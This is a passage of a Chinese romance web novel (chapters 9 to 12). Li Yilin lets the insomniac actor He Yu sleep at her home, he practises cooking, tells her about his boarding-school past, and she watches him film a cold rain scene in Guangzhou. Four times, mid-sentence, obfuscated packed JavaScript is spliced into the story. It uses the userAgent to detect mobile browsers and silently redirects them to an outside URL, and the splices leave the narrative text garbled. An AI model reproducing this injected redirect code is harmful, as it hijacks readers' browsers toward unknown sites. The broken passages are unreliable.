叮一声，电梯到。伊林穿上外套走出去，按照停车位走入迷宫一般的地下车库。十五分钟后，她看到线条优美的S500。她站定，核对车牌号，然后看到为她打开的副驾车门。 坐进车内后，被熟悉的乌木沉香围绕。伊林看向主驾位，美丽男子对她微笑。何屿穿一件黑色羊绒薄衫，褐色头发稍稍做了修剪，漂亮的棕色眼睛藏有疲惫，但同时又非常亲切。 “伊林。”他唤她的名字，递给她一杯热牛奶。 “谢谢。”她接过白色饮料杯，牛奶香气让她想起小时候——那是妈妈每晚都会准备的助眠饮料。 “……还好吗？我可以开车。”今天是周三。伊林想到，何屿已有三天三夜没有睡眠。她在下意识的关心他。 身边男子只是沉默启动汽车。“告诉我地址，或者你来导航。”何屿的语气不像与人商量，他熟练将车开出停车道。车内暖气很足，应该是之前就已启动过。或许他在车上有小憩。伊林这样想着，打开手机导航输入地址，外放语音导航。 “我家不远，十五分钟差不多。”在导航启动的间隙，伊林告诉他。 “好。”车子驶出地下车库，汇入陆上车流。车内音响被打开，音量被压得很低，是Anne-SophieMutter的《四季》。 一路无话。到家之后，伊林有些尴尬。因为工作忙碌，这两天客厅杂物没有来得及收拾。 她将何屿引去沙发，打开空调与取暖器之后，快速收纳了摆放在外的凌乱杂物。何屿没有坐下，反而开始研究沙发背后的书架墙。他发现，他与李伊林拥有很多本不同版本的同一本书——《昨日的世界》，《布拉格公墓》，《奥兰多》，《局外人》…… “你吃过晚饭了吗？”收好散落在读书椅上的衣服，伊林打开外送软件问他。 “吃过了。”何屿的表情依然是轻松的。他将手中书复归原位，在沙发上坐下。“你家里的风格，跟你很像。”他打量着对面巨大的印象派画作对她说。 “其实我更喜欢家里什么都没有。”伊林苦笑。“就像你家大厅。” 何屿抬头看她，又去看书架上的流川枫手办。从伊林的角度看过去，他仔细打量室内的样子，显得可爱。 “忙一天了，休息下。”他拍了拍身边位置。伊林被他的一双眼睛牵引着，自然坐下。在舒适惬意的平静中，她问他，“怎么今天过来了？” “找你睡觉。”他稍稍偏着头，漂亮眼睛弯弯看她。 “想你也不会有别的事。”伊林撇他一眼，只当他这一趟是熬不住了想睡觉。她从沙发旁的复古小冰柜里拿出两瓶气泡水，分给他一支。“我只有一张床，你只能挤挤了。”她朝他碰了碰杯。 “也不是没挤过。”碰杯之后他仰头喝下气泡水的样子，倒像是夏夜随意坐在路边喝酒的懒散青年。 伊林看了看墙上时钟，已是夜间十点半。昨晚熬太晚，伊林想在十一点半之前入睡。 “只有一间淋浴，你先去洗吧。你有带换洗衣服吧？”伊林问他。 “带了。你先去，我把行李整理一下。”男子的语气不容商量。伊林还在迟疑，何屿已经起身，去提扔在门厅的旅行袋。 “……好。”伊林亦不争辩，去卧室拿好换洗衣服进了浴室。她用了比平日快的速度洗好，再将窗户大开，散去水汽。她用平板拖把将地面擦干后，走出浴室。 还在客厅的何屿已经换好一身睡衣，坐在沙发上读加缪。这是伊林自己的家，它悬空在25层，正对着宛若深海的夜间城市。东方明珠塔已熄灭，超高楼宇中，依然亮起的灯光被浓缩成一个又一个小方格，像陆地繁星。一个美丽的男人出现在她的空中楼阁，像一场梦。 “何屿。”她唤他的名字。“可以去洗澡了。” “好。”他闻声看她，再转回视线将书本合上。他站起身来，在暖光中与李伊林擦肩而过。 浴室水声响起时，伊林在卧室梳妆镜前坐下，涂好眼霜晚霜，吹干头发。她看向自己的床铺，冬季羽绒被只有目前在用的一床。她从未让任何人睡在这张床上。就连父母来看她，也从来都是她为他们定好酒店。她不想让任何人侵入个人空间。 但是她没有拒绝何屿。她无法拒绝他。这很奇怪，却也理所当然。在伊林的生命里，已认识了他14年。 浴室水声很快停止。何屿走出来，发现客厅的灯已被熄灭。他走进发出亮光、带有圆弧落地窗的卧室，伊林坐在窗前刷手机。听见他走近，伊林站起身来，从梳妆台上拿起吹风机。 “坐。我帮你吹头发。” 何屿发现，伊林同样对他使用了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459244|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命令语气。也对，这是她的领地。 男子遵循指令，走过去坐在床边，任凭她修长的手指拨弄着他的头发。暖风轰鸣，为他带走水汽。很奇怪，明明是噪声，却如同催眠。何屿闭上眼睛。 “好了。”吹风机停止运作，那双修长的手温柔拨弄着他的头发。然后她停止。他睁开眼睛看向她，她没有回看，转身去放吹风机。 “你一定很困了，睡吧。”关上梳妆台的木质抽屉，卧室里恢复空无一物的整洁。李伊林依然不看何屿，径直关上落地灯，仅剩下床头一盏小壁灯，光线昏暗。 “嗯。晚安。”何屿没有多说话，他脱掉拖鞋，掀开被子，在靠近衣柜的一侧躺下。 待他躺好，伊林尽最小动作，躺入靠窗一侧的羽绒被边缘。她关掉小壁灯，房间里陷入黑暗。暖风空调开着，发出细小的运转声。伊林尽可能睡在边缘，让中间的被子塌下来，形成分界线。 “天气预报讲周六广州下雨，温度降到4度。”何屿温和的声音响起，他谈论天气的语气熟稔，像个老朋友。 伊林在黑暗中躺正身体，转脸看向何屿。“……你们的拍摄照常进行？” “嗯。导演等这场雨等了很久，要拍林其卫被合伙人背叛那几场戏。”床的另一边发出声响，像是何屿枕着自己的手臂。“剧本里这一段林其卫跟所有人都有对手戏，大部分在户外雨天里拍摄。我不能NG太多次。” 伊林明白了他为何突然来上海找她——是为了睡眠，更是为了在这几场戏里保持最佳状态。他不能让同事在低至4度的雨天里陪着他一遍又一遍找状态。 “我看了剧本，这一段情节很重要，也很难演。”局势变幻导致合伙人背叛，曾经的朋友在大雨中因解不开的误会互相质问，投资人撤资，刚有进展的新女友劝他趁早转行。这些千疮百孔的情感状态需要何屿在短短几天的拍摄时间里精准表现。故事发生在夏天，意味着所有演员都要穿着单衣拍摄。 伊林想起每年2月的春日新品拍摄，上海气温徘徊在2-9度，只要在户外进行，模特都会冻得发抖。周围工作人员都穿着结实的羽绒服，只有出现在镜头里的人需要遭受这种酷刑。作为演员，何屿应该早已习惯。但这是第一次，伊林将这个司空见惯、却又显得残酷的境状，套在出身显赫的世家子弟何屿身上——他与辛苦劳累，均不相配。 “是。所以我来麻烦你，想在这两天补好眠。”何屿的声音很平静。伊林听得出来，他不想说太多。 “如果你需要预排练，可以白天在我家工作。我明天早上9点出门，差不多晚上9点回来。我会在桌上给你留钥匙。” “……谢谢你。”男子对她道谢。 “不用，我也没做什么。”伊林翻过身，朝着他的方向侧过来。 “……我需要在你家睡两晚，费用会加到本月总计里。”他的声音近了些。或许意识到谈论钱财会让房间的主人不适，他的语调非常真诚。“我提前没有打招呼，谢谢你把我带回家。” 伊林不想要这些。她乐意为他提供陪伴，但她也知道，付出报酬能让何屿内心舒适。 “可以，我家白天没人，你安心工作。”有关费用的问题让伊林退回床的边沿。“很晚了，睡吧。晚安。” “……晚安。”她能听见何屿转向她的声音。或许修长的手指会探过床中间的空隙，将她搂入怀中。或许他永远不会这么做。 房间陷入安静，只剩下何屿逐渐平稳的呼吸声。 一切期待的，一切未曾期待的，都没有发生。 伊林进入梦乡。 10. 第 10 章 10 次日早晨，伊林在表铃响起之前醒来。她将何屿搭在腰间的手挪开，坐起身来去看男子的睡颜。在她身边，他总是睡得很熟，这让她有一种温暖的成就感。 手机表铃轻微响起，伊林马上按下关闭。她收回视线，安静走下床，将昨晚收拾好的化妆包带去浴室，轻轻关上卧室木门。 现在是早上8点过半，完成洗漱与简单妆容大概需要40分钟，九点半左右到公司。出门之前，伊林在客厅桌上留了密码锁的开门感应卡，写了便笺条，告知何屿附近便利店位置、好吃的私房菜、可以送上门的熟人餐厅地址电话、以及一些日用品快送方式。放下笔之前伊林想了想，留下了自己的电话与微信。 走出家门，走进电梯间，伊林想，沉睡中的人会很快醒来。或许他会感到疑惑，这是一个完全陌生的房间。然后他会慢慢清醒，意识到这是李伊林的家。在这个家里，冰箱里只有气泡水，植物总是被养得半死不活，电视常年不开，书柜里有很多书塑封尚在。 伊林并不想把真实的生活陈列出来。但对于何屿，她倒内心放松。如同他的亲口界定，何屿对她没有除过睡眠协议之外的任何感情，自然也不会对她的家、她的生活有所好奇。 来接她的车子停在路边，伊林打开车门坐进去，对司机确认手机尾号。她看向窗外。这十五分钟，是她每日从自我领地切换至工作角色的放空隔断。它总是无知无觉，在或阴或晴的窗外景色中迅速消弭。 车子在公司正门前停下。伊林走过长廊，在一楼大厅遇见同事。她迅速绽出礼貌笑容，对对方例行问好。 电梯内陷入拥挤，每一个人都在抬头看层数。35，36，37，叮。伊林走出四方封闭的移动铁盒，推开被挂上圣诞花环的玻璃门，对前台漂亮女孩微笑。新的一天开始了。 下午时分，办公区内产品研发区越发空荡。临近圣诞，外派VP与同事都已回国，日历中欧洲总部会议已基本停止，品牌部也有了暂时的喘息时间。 难得一个没有排满会议日程的周四，伊林下午稍稍摸了会儿鱼，去看有关何屿的人物报道。沉寂五年让他的此番复出更加吸引眼球。很多影评人都把他当成流量热点，从各种角度分析他的演艺生涯与近期动态。社交网络上对他的提及率也持续上升，伊林敏锐注意到，有关何屿家世的负面信息又开始成群出现。她将这些营销号段做了收集整理，交给舆情观测部门。品牌代言人将在1月27日官宣，这些号段需要提前打点。 接近6点时，伊林在微信上收到何屿的好友申请，她点了同意。加上之后，何屿只发了个微笑表情，伊林回个调皮笑脸，就再无其他。在6点开始的跨部门系统会议间隙，李伊林翻看了何屿的朋友圈，只有无人的景色照片，大多是日出时温暖静谧的世界。它们更像失眠之人的救赎时刻。 退出何屿朋友圈界面时，看到对方新发一张图，是日落时被余晖覆盖的氤氲楼群。伊林认出这个景色，属于她所住高层的顶层天台。 美丽的褐发男子迎风站在天台，面对夕阳，沐浴在冰冷光辉之下。伊林在脑中想象着，浮现出曾经有过的感受：何屿可以把任何场景变为一场电影。 7点整，会议结束，办公区空了大半。伊林在半小时后走出大楼，叫车回家。 打开家门，闻到久违的食物香气。她将包放下，外套挂在门厅，走进厨房去看——是系着围裙正在做饭的何屿。他穿着浅灰色系居家服，头发有些毛茸茸的，是完全无法被想象的“明星”形象。从背后的角度看过去，他的头发被睡得凌乱，稍微曲卷得翘起来，像个毛绒动物——伊林从没觉得自己的厨房也能如此可爱。 “……你会做饭？”她靠在门框上问他。 正在看手机菜谱的男子循声看她，是稍稍讶异的神情。“你回来了。”那张漂亮面孔绽出淡淡微笑。“林其卫会做饭，所以我也要会做。”他将手机放回围裙兜里，继续往汤锅里放调料。“下周要拍他给一堆朋友做饭的戏。” “闻起来味道不错。”伊林继续靠在门框上看他。她在想他身上的黑色围裙是哪里来的。 “马上好。饭桌上有做好的菜，你先去尝尝。”何屿没有再回头看她，他的精力集中在灶台上，看样子是不太想有人围观。 “好。”伊林离开门框，识趣走开，洗了手去饭桌前坐下。桌上放着清蒸鱼、白灼虾、香菇菜心，餐具尚未准备。伊林想了想，借口拿餐具返回厨房。 不甚熟练的何屿又把手机掏了出来，一手举着屏幕看步骤，一手将刚切好的配菜放进锅里。见此情景伊林忍不住笑出声，绕过他拉开碗柜拿餐具。“你看起来完全不会做饭。”她对他说实话。 “我知道。”他听起来没了平日的从容，语气里透着微小恼怒。“要再练几回。” 伊林觉得他有趣，故意站在一边不走。何屿干脆双手交叉看她，好像他才是厨房主人。 “我走我走。”伊林拿着餐具出了厨房。摆好餐桌后她想，如果把戴着黑围裙的赌气何屿拍下发到社交网络，一定能上爆款热搜。 伊林自顾自笑了一会儿，回归正经表情，坐下刷手机。 不到五分钟，大厨来上了最后一道汤。他的围裙卸了，袖子依然挽过手肘。“尝尝，可能不好吃，但我确保都熟了。”他拿过餐具，为两个人盛好汤。 “我开动了。”伊林学着日剧里的开饭仪式，双手合十对何屿坐着鞠躬。然后她一本正经喝下一口汤。不算难吃，但也绝对算不上好吃。 “怎么样？”何屿问她。 “……对于初学者来说，你厨艺不错。”伊林实话实说。 何屿看看她，自己尝了一口汤。?“可以吃。”他点点头，给自己一个好评。 “嗯。第一次做饭的话，很不容易了。”伊林想起自己多灾多难的下厨黑历史。 “我以前做过饭，只不过广式是第一次。”何屿澄清。 这倒新奇。“我以为有专门的厨师给你做饭。”伊林抬头看他。 “在英国读大学时经常自己做。”何屿为两人做分食，这应该是他长久养成的习惯。“很多角色也都有做饭戏，需要练习。” “……没想到，你自理能力竟然比我强。”伊林边吃边点头。 何屿看她一眼，没有说话。伊林觉得他在鄙视她。 吃完饭后，伊林坚持去洗碗。何屿去浴室快速冲了澡。伊林有一种感觉，他其实并不喜欢下厨，不喜欢头发沾上油烟味。但作为专业演员，他已学会忍耐。 墙上时钟指向9点半，伊林打开黑胶唱机，选了王羽佳的拉赫马尼诺夫。钢琴响起，她靠在沙发背上闭起眼睛。这是她每天真正的放松时刻。忘掉职场，忘掉选择，忘掉希望，忘掉失望。 十分钟后，浴室水声停下。颀长男子带着熟悉的沉香气息坐在她身旁。伊林睁开眼睛看他，何屿半干的头发向后顺过去，露出他漂亮的额头。他的姿势与伊林一样，仰起头来，背靠沙发，闭上眼睛。 他的美，离得太过近，像某种传说透过窗棂，掉落成真。在她身边，他并不设防。 “你的脸……像正在进行的乐章。”鬼使神差一般，伊林对他说出内心所想。 “……喜欢这张脸？”何屿没有改变任何动作。他只是开口问她。 “没有人会不喜欢吧。”她说。 身边男子睁开眼睛，望向虚空。 “不是每个人都喜欢这张脸。对于一个男人来说，它太过美丽了。” 伊林继续看他，在脑中定格这个画面。 “……不喜欢的，应该是同龄的男性群体？” 何屿看向她，并不奇怪于她的敏锐。 “是。十几岁时我在寄宿学校读书，那时候这张脸长得像个女孩。高低年级阶级森严，我是其中为数很少的黄种人。因为这张性别模糊的脸，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459245|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃了不少苦头。” 听到此，伊林内心紧张，她担心何屿受到霸凌。 “学校里……有人欺负你？” “……也不知道算不算得上欺负吧。只是有一些冲突。它让我很不舒服。”何屿歪了歪肩膀，让自己找到更舒服的位置。“渐渐我找到能避免冲突的方式：尽可能表现出更多的男性式强悍。加入足球队，自觉去健身，大多数时候保持表情淡漠，不拒绝任何男性团体活动邀请。” “这种生活……听起来很嘈杂。” 嘈杂。“……你的形容很精准。”何屿看向李伊林。“很多细微的感受、感情，是不能被表现出来的。那时候的我，觉得不要有它们比较好。” “嗯，能想象。”虽然没有过寄宿学校经历，伊林依然明晰少年时代不成文的团体准则。不能敏感，不能感伤，更不能掉眼泪。如果被视为软弱，很大几率会招来群体霸凌。 “十五岁时，我被小组同学拉进戏剧社，为了交作业去演哈姆雷特。本来只是完成任务，却越走越深。生平第一次，我可以肆无忌惮发泄情绪……疯癫或者脆弱，狂喜或者掉泪，都不会给我带来任何后果。我觉得……我解脱了。” 伊林看过何屿饰演哈姆雷特。直到今天，她依然记得在那模糊不稳的即拍视频里，俊美年轻、骄傲脆弱的何屿在台上变身徘徊于生存毁灭之间的丹麦王子—— “谁愿意忍受人世的鞭笞和讥讽、压迫者的凌辱、傲慢者的冷眼、被轻蔑的爱情的惨痛、法律的迁延、官吏的横暴和费尽辛勤所换来的小人的鄙视，要是他只要用一柄小小的刀子，就可以清算他自己的一生？谁愿意背负这样的重担，在烦劳的生命的压迫下呻吟流汗，倘不是因为惧怕不可知的死后，惧怕那个从来不曾有一个旅人回来过的神秘之国，是它迷惑了我们的意志，使我们宁愿忍受目前的折磨，不敢向我们所不知的痛苦飞去？重重的顾虑使我们全变成了懦夫，决心的赤热的光彩，被审慎的思维盖上一层灰色，伟大的事业在这一种考虑之下，也会逆流而退，失去了行动的意义！” “……但愿我也能够向我的生命告别，但愿我也能够向我的生命告别，但愿我也能够向我的生命告别……” 那些模糊美丽的影像与声音，像一首诗，流存在伊林的记忆里。他的痛苦被暴露在强光之下，美丽的脸上布满汗水与泪痕。只有在舞台上，他才是真正活着的。 “表演是你的释放。”伊林对他说出八年前她曾写下的话。表演，是你隐秘的调节自我，是你得以继续存活的方式。在一个又一个流动的名字里，你将自己变成容器。“我喜欢看你在镜头前变成另一个人。” 何屿没有说话。他揽过她的肩膀，接纳着她的理解。 伊林顺从接受。她明白，这种肢体碰触并非暧昧。何屿是在把她当朋友。 一曲终了，何屿揽住她的手已经松垮放下。他的呼吸均匀，已陷入浅眠。伊林起身为他盖上薄毯，关掉唱机，去往浴室。 冲好澡出来，客厅已不见男子身影。她安静走至卧室，何屿已经趴在床上睡着了。 伊林为他盖好被子，返回客厅，打开电脑，新建空白文档，敲下一些字句。然后，是一段开始。情节进展着，形成形象。人物交错着……形成故事。 她写了将近两个小时，直到凌晨。从几个片段，延展成为小小世界。而这个世界，会作为背景，展开一个人的一生。 窗外高楼灯带尽数熄灭，唯有一轮明月。这是每日都会看到的夜色，今日却稍有不同。是因为有如月光般的人闯入了她的生活，还是因为她久违的，进入了完全沉浸其中的另一个世界？ 伊林关掉电脑，站起身来，凝视黑暗中的皎洁星球。 既然故事已经开始，唯有顺其自然。 房间里所有的灯都被关上，唯有遥远星球透入窗棂。 李伊林走入卧室，掀开被子，躺入另一个人的温度里。 11. 第 11 章 11 周四早晨，伊林依旧在何屿尚未醒来时出门上班。下班回家等待她的依旧是演员大厨。今天菜谱与昨日一致，明显是演员的另一场练习。伊林明白，她的喜好与否并不在何屿的考虑范围之内。 闲聊着吃完晚餐，收拾好厨房、冲好澡之后，已是晚上十点。何屿定了周五上午10点的航班，需要在8点前出门。同日晚间伊林会搭乘航班去往广州，衔接至何屿周六周日的夜间睡眠保障。 “我想借用你的卧室一小时。”何屿手里拿着被不同颜色标注的剧本对伊林说。 “好。我在客厅看会儿剧。”伊林盘腿坐进沙发里，打开网络电视，在“经典美剧”里挑挑拣拣。 何屿很快消失在房间之外。伊林选了《德伯家的苔丝》，按下播放键。 11点，何屿出现在李伊林的沙发旁。电视里，苔丝刚刚结识英俊正直的安奇尔，仿似可以重新开始。伊林明知道是一场悲剧，却又无可奈何的沉浸进去。她并没有注意到另一个人的存在，直到手机屏幕亮起，提醒助眠时间到。 李伊林按掉提醒，才发现坐在身旁的男子，他亦聚精会神看向屏幕。书柜上的方形电子钟显示11:30，伊林找到遥控器按下暂停键，“该去睡了，你明天还要早起。”她对他说。 “……好。”何屿答应着，视线依然黏在屏幕上。“我喜欢这个版本的安奇尔。” “我也是。”伊林关掉电视，站起身来，给何屿压力。“……该去睡了。” 何屿看看将手按在落地灯开关上的房间主人，识相起身，走出客厅。伊林随即关掉灯，跟在他身后去往卧室。 同时躺入床铺之后，伊林却了无睡意。她的入睡时间一般在凌晨后。为了不影响身边人，她小小翻身，侧卧着去想苔丝接下来的情节。 “……睡不着？”男子的声音很清醒。 “躺一会儿就睡着了。”伊林敷衍他。 “苔丝让我想起一件事。”何屿像没听见她的话。 “……什么事？”好奇战胜理智，她还是接了话。是他自己不想睡的，伊林想。 “其实我想演一个性工作者。” 这句话让伊林陷入沉默。虽然她早已习惯追踪何屿的所有消息，但在她从未将他当成可以性化的对象。他的话像一柄利刃，让伊林突然发现自己的奇怪之处——她虽然已对何屿心动，但从过去到现在，她却从未渴望过他的身体。 “……为什么？”这个问句，既是问向对方，也是她在自问。 “看完《祝你好运，里奥·格兰德》之后的想法。一般性工作都是女演员的事，男演员没有这种角色机会。” “那片子我看过，编剧很会写。但我不相信这种男性性工作者是真实存在的。” “……为什么这样想？” “男性不会对女性有这么强烈的同理心，更不会对‘性工作’这件事有这么深刻的阐释和理解。……能达到这种沟通能力和知识储备的英俊男人，也绝不可能选择卖身。”伊林知道这些话并不是在顺着对方说，相反，它们显得尖利，并不适合在睡前表达。 “……有很多故事都并非现实存在。所以它们才会出现在屏幕上。”何屿的声音越发柔和。更像一种安慰。 不得不承认，他是对的。演艺行业做的本来就是爱与梦的生意。 “男性性工作者……与《苔丝》又有什么相关？”伊林岔开话题。 “苔丝因为有过性经验，被安奇尔认为不再纯洁。笃信纯洁的安奇尔本身，也不会把这个词用在男性身上。我很好奇，没有‘纯洁’观念的男性被性化之后，又会被怎么看待？” 伊林思考着，这的确超出她认知以外。一个男妓的社会属性？ 她选择把问题抛回何屿。 “……如果给你机会，你想怎么演？” “因为男性没有性羞耻，我想……我大概会把它当成一种职业来演。有两种形象基础。一种野心勃勃，潜心研究职业技巧，苦练沟通技能，一心想要做到业界顶级。另一种，安分守己，满足于用身体获取生存条件，更多表现出温柔、倾听、陪伴对方的样子，做好服务，带给顾客性别权力互换的快感。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459246|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……你倒真是认真想过。”伊林不自觉朝着他的方向看过去。这样的何屿让她倍感新奇。“如果真能演的话，我更想看第二种。” 男子在黑暗中浅笑。“也只是一时心血来潮。演员这个职业更多时候只是在等，没法主动创造。……况且，就算真有这样的角色，团队也不会让我接。” 伊林翻过身来，陷入思考。他不会接演，因为他所塑造的大众形象与这种角色严重不符。那么他自己所处的环境呢？ “如果你演了这种角色，你父母会生气吗？” 黑暗对面，传来毫不在乎的轻声冷笑。“他们会非常、非常生气。尤其是我父亲。在他眼里，我最擅长的事就是不同程度的惹恼他。” 这倒是伊林不曾想到的。“……他们不喜欢你当演员？” “不是不喜欢，是厌恶。他们厌恶我当演员。”何屿的声音平静，冷漠，像机器。“这种娱乐他人的职业对他们来说，肤浅，卑劣，毫无价值。” 伊林静静倾听着。她在回想，回想何屿的每一次媒体访谈。他从未提过父母。在此之前，她将其简单理解为避嫌。在这个时刻她明白，何屿选择的职业是被家人厌弃的，尽管表演在很大程度上救了他。 她侧躺过来，伸出右手，穿过羽绒被中塌陷的距离，轻轻拥抱了他。 “我相信，你知道你作为演员的价值。”她像个小勺子一样贴在他的身后。“你理解了很多人，再用角色重现他们。你的价值无法估量。” 被拥抱的男子安静着，很久没有说话。而后，演员何屿握住伊林搭在腰上的手。 “谢谢。”他轻声对她说。 “不用谢。我是你的朋友。”温暖的情感包裹心间，带来柔软睡意。“……睡吧。” “……晚安。”何屿闭上眼睛，握着李伊林的手，进入梦乡。 次日清晨，伊林被表铃叫醒。她睡得很好，一夜无梦。阴魂不散的早间失眠难得没有出现。第二次表铃响起，才让她完全清醒过来。她伸手摸向另一个人的位置，那里空荡，冰冷。 何屿已经离开。 12. 第 12 章 12 晚上下班时，天空飘起小雨。经过高架时雨势转大，伊林打开实时航班信息，前序航班已有1小时左右的延误。原本9半即可到达广州，按照目前态势，降落时间最起码会推迟至11点以后。 落地之后，伊林收到方华信息，来接她的车停在P8停车场，车型、车牌号、司机联系方式均在信息中告知。伊林坐上车已是接近零时，一路上雨忽大忽小，冷风呼啸。回到庭院，已至凌晨一点半。 司机将行李送进室内后，礼貌与伊林道别。管家阿姨在餐桌上备好夜宵，何屿循声从二楼上走下，露出惯常微笑。 “听说飞机晚点。”他自然在餐桌前坐下，接过阿姨递过来的小碗汤，但并没有动勺子。 “嗯，估计是天气原因。”伊林接过冒着热气的汤碗，用汤匙一口一口喝着。温暖食物下肚，让她好受许多。 “你不尝尝？味道很好。”见他不动汤碗，伊林问他。 “……好。”何屿拿起汤匙，喝下一口。“味道很好。”他对阿姨说。 伊林很快吃完夜宵，去往二楼次卧冲热水澡。吹干头发出来进入主卧，何屿盘腿坐在床上看剧本。?“明天几点开拍？”伊林学着他，盘腿坐在另一张床上。 “9点。”何屿没有抬头看他，视线依然停留在剧本上。 伊林看了看墙上时钟，已过午夜两点。9点开拍，连带路途与妆造时间，何屿需要提前三小时出发。他5点半就要起床。 “……赶紧睡吧。”伊林也不管他还在看剧本，关掉大灯，只留下一盏昏暗壁灯。 失去光亮，男子没有抱怨。他将剧本收至床头柜，安静躺入羽绒被。 伊林关闭最后一盏小壁灯。然后她又想起了什么，在枕边摸索到手机，上好早晨5点半的表铃。 另一张床上传来浅浅的翻动声，再慢慢安静。 伊林逼迫自己尽快入睡。 另一个手机表铃浅浅响起时，何屿很快将其按灭。窗帘间隙透出的晨光之中，另一张床上的人睡得很熟。 他打开手机电筒，将窗帘紧闭。而后安静走出房间。 伊林醒来时，觉得精神很好。房间里一片昏暗，只有墙上的LED电子钟发出光亮。她揉了揉眼睛，聚焦去看，已经快11点。 她猛然从床上坐起，按亮手机，屏幕上除了一些朋友发来的消息，只有方华一条信息，提醒她早餐已在厨房备好，起来加热即可。 伊林回问方华片场地址，再下床拉开窗帘，窗外是雾气缠绕的阴雨连绵。房间里开了电暖器，室内温度显示18度。在走入卫生间时伊林感觉到一股寒意，没有任何取暖设备加持的浴室里，是属于广州冬日未加掩饰的阴冷天气。她快速完成洗漱，下楼吃好早餐，打开手机看微信。方华除了告知她片场地址，同时安排司机来接。 十五分钟后，车子到达。伊林背好单肩包上了车，车内暖气很足。天气恶劣，高速路上非常堵，正常只需1小时的路程被延长到2个小时。到片场已是下午一点半，被司机带到何屿的休息室里，伊林与张凯西打了招呼，拖了椅子坐在大监屏幕前，看向变为另一个人的他。 广州室外温度低至4度。镜头里何屿饰演的林其卫穿着短袖，正在雨中看向合伙人离开的方向。镜中角色所经历的季节是夏天，意味着演员要克服寒冷之下自然的身体反应——他不能发抖，不能瑟缩，不能咳嗽流涕。身处夏日暴雨中的林其卫双目无神看向朋友离开的方向，而饰演他的演员何屿，嘴唇已经被冻至发白。在镜头里能看到他张开双唇无声落泪时，因温度太低所产生的白色雾气。伊林知道何屿在受苦，但这种镜头是不行的。他需要重新来过。 导演喊了CUT，场务正在从冰箱里拿出冰水。一下镜，何屿放松下来，生活助理马上为他披上防水羽绒服。在滂沱大雨中，这根本起不了什么作用，他的身体早就被冷水淋透了。伊林看见演员何屿控制不住的发着抖，等待化妆师为他补好唇色，再将羽绒服脱下来递给助理，机械喝下一口场务递来的冰水，压下口腔热气，继续在雨中重复表演刚才的镜头。 伊林不忍再看向大监视器。她拿起桌上另一套镜头脚本，今日戏份已拍摄过半。已经打过勾的镜头说明里，全都是外景——这意味着从早上9点开始，何屿已经在阴雨天里冻了4个小时。 伊林将脚本放回原位，继续在凯西身边坐下。年轻女孩分神抬头看她一眼，继续做她的笔记。“他不需要你的怜悯。这是他的工作。”她面无表情对她说。 我不是在怜悯，他当然不需要。伊林在心中回复着。我是在……心疼他，他是我喜欢的人。我不想他遭受这些。 她安静坐回大监面前，没有对凯西说任何话。 半小时后，有人推门进来，是方华。“干燥服装、电暖水袋、热姜汤都准备好了吗？”她问向工作人员。“备好了。”两个忙碌的生活助理把所需用品放在张凯西旁边的桌面上。方华走过来一一试过热度，才来得及与李伊林打招呼。全身湿透的何屿随后披着羽绒服走进来，直接进到仅属于他的白色休息室，他没有看到李伊林。 很快，演员换好一身一模一样的干燥戏服，披着羽绒服走出来，坐在凯西旁边看回放。此时，他看见了坐在二排椅子里的李伊林。 看到她，何屿有些讶异，但也没说太多，只是稍稍打了个招呼。方华将电热水袋放在他的肚子上，助理递给他一杯热姜汤。何屿很自然接受这一切。伊林意识到，在这个休息室里，他是绝对的上位者。 听完凯西的镜头反馈，场务来叫何屿备戏走位。身型高大的生活助理带上大伞，跟着演员出去。出现在监视器里的何屿按照导演指示调整走位，旁边助理为他撑开雨伞。 走位完成后，何屿将羽绒服脱下递出，助理接过，撑伞回到休息室。人工造雨机开始工作，何屿站在冷水中闭上眼睛。很快，他的全身湿透，回到上一镜的状态。 这一场戏是与女友的对手戏。第一轮是调整状态，女演员需要撑伞走向他。正式开拍后，需要完成正位、侧位、斜后位三角度拍摄，加上女演员调整状态的几条，何屿一直淋在冰水中。 整个拍摄过程持续近一小时，伊林逼迫自己仔细看向他的每一个状态。在镜头里的何屿，不论是哪一个角度，都会将自身身形调整至“失望的挺立”——在此之前，伊林对一个好演员的判断大部分停留在面部表情的丰富与微妙。而在何屿身上，她发现一个好演员在呈现状态时，会调动身体所有部位。他对身体的每一个部位都拥有非常灵敏强大的控制力，而这或许与天赋无关。这是长期揣摩、模仿、领悟与练习的成果。 完成这颗镜头拍摄，何屿再次回到休息室稍作休息。这一次他没有换掉被淋湿的衣服，因为时间不够。喝完热姜汤之后，他走出休息室，步入镜头范围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 